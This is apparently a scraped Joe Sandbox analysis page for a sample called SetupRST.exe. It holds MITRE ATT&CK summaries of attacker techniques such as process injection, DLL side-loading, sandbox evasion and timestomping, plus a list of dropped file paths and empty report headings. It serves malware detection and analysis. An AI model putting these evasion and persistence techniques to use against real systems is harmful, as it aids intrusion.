Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SetupRST.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Windows Analysis Report
SetupRST.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre